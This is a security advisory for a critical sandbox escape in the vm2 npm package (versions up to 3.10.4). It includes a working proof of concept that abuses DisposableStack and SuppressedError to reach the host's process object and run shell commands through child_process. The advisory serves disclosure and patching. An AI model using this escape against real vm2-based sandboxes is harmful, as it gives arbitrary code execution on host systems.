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Sandbox Escape Through SuppressedError

Critical patriksimek published GHSA-55hx-c926-fr95 3 days ago

Package

 **vm2** (npm)

Affected versions

<= 3.10.4

Patched versions

3.11.0

Description

In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code.

PoC

```
const { VM } = require("vm2");

const vm = new VM();

vm.run(`
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
  const e = Error();
  e.name = Symbol();
  e.stack;
});
try {
  ds.dispose();
} catch(e) {
  const Function = e.suppressed.constructor.constructor;
  const process = new Function("return process;")();
  const { execSync } = process.mainModule.require("node:child_process");
  execSync("echo pwned", { stdio: "inherit" });
}
`);
```

Severity

Critical 9.8 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

[Learn more about base metrics](#)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-26332

Weaknesses

No CWEs